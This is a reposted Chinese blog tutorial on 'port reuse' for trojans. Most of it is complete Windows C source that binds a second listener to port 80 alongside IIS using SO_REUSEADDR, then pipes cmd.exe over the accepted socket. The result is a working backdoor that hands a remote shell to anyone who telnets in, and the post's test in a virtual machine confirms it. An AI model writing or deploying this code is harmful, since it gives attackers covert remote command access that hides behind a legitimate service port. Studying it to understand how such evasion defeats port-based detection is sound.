本文转自:http://www.cnblogs.com/handt/archive/2012/08/10/2631728.html
端口复用,字面意思就是,重复使用一个端口
记得有一次同学的 sina 微博总是自动发消息,当时让他查看本地端口,再通过端口找到对应程序
学了端口复用和线程注入之后,发现这种方法对“高级点”的木马完全没用……
还是需要一些强大的 HIP 工具来检查
回到正题
端口复用,使用到了一个重要的函数:
int setsockopt( __in SOCKET s, __in int level, __in int optname, __in const char *optval, __in int optlen );
其中第三个参数使用BOOL型值 SO_REUSEADDR,作用介绍:
Allows the socket to be bound to an address that is already in use. For more information, see bind. Not applicable on ATM sockets.
通过对 socket 使用该设置,达到重用已绑定端口的目的。
另外,第一个参数的socket必须通过WSASocket建立才能被替换端口,socket()建立的就只能用管道来通信了。
完整代码如下:
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"advapi32.lib")
#include <iostream>
#include <WINSOCK2.H>
int main()
{
WSAData wsaData;
SOCKET listenSock;
// 1st: initial wsadata and socket
WSAStartup(MAKEWORD(2,2),&wsaData);
listenSock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
// 2nd: setsockopt
BOOL val = TRUE;
setsockopt(listenSock,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val));
// 3rd: bind -> listen
sockaddr_in sockaaddr;
sockaaddr.sin_addr.s_addr = inet_addr("192.168.199.128");
sockaaddr.sin_family = AF_INET;
sockaaddr.sin_port = htons(80);
int ret;
ret = bind(listenSock,(struct sockaddr*)&sockaaddr,sizeof(sockaddr));
ret = listen(listenSock,2);
// 4th: accept
int len = sizeof(sockaaddr);
SOCKET recvSock;
recvSock = accept(listenSock,(struct sockaddr*)&sockaaddr,&len);
// 5th: create new process to invoke cmd
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;
char cmdLine[] = "cmd";
PROCESS_INFORMATION pi;
ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi);
return 0;
}
试验过程:
在虚拟机中建立 iis 服务器,占用80端口

启动木马程序,看到另一个80端口对外的连接:

在宿主机中
telnet 虚拟机ip 80
会反弹回 shell

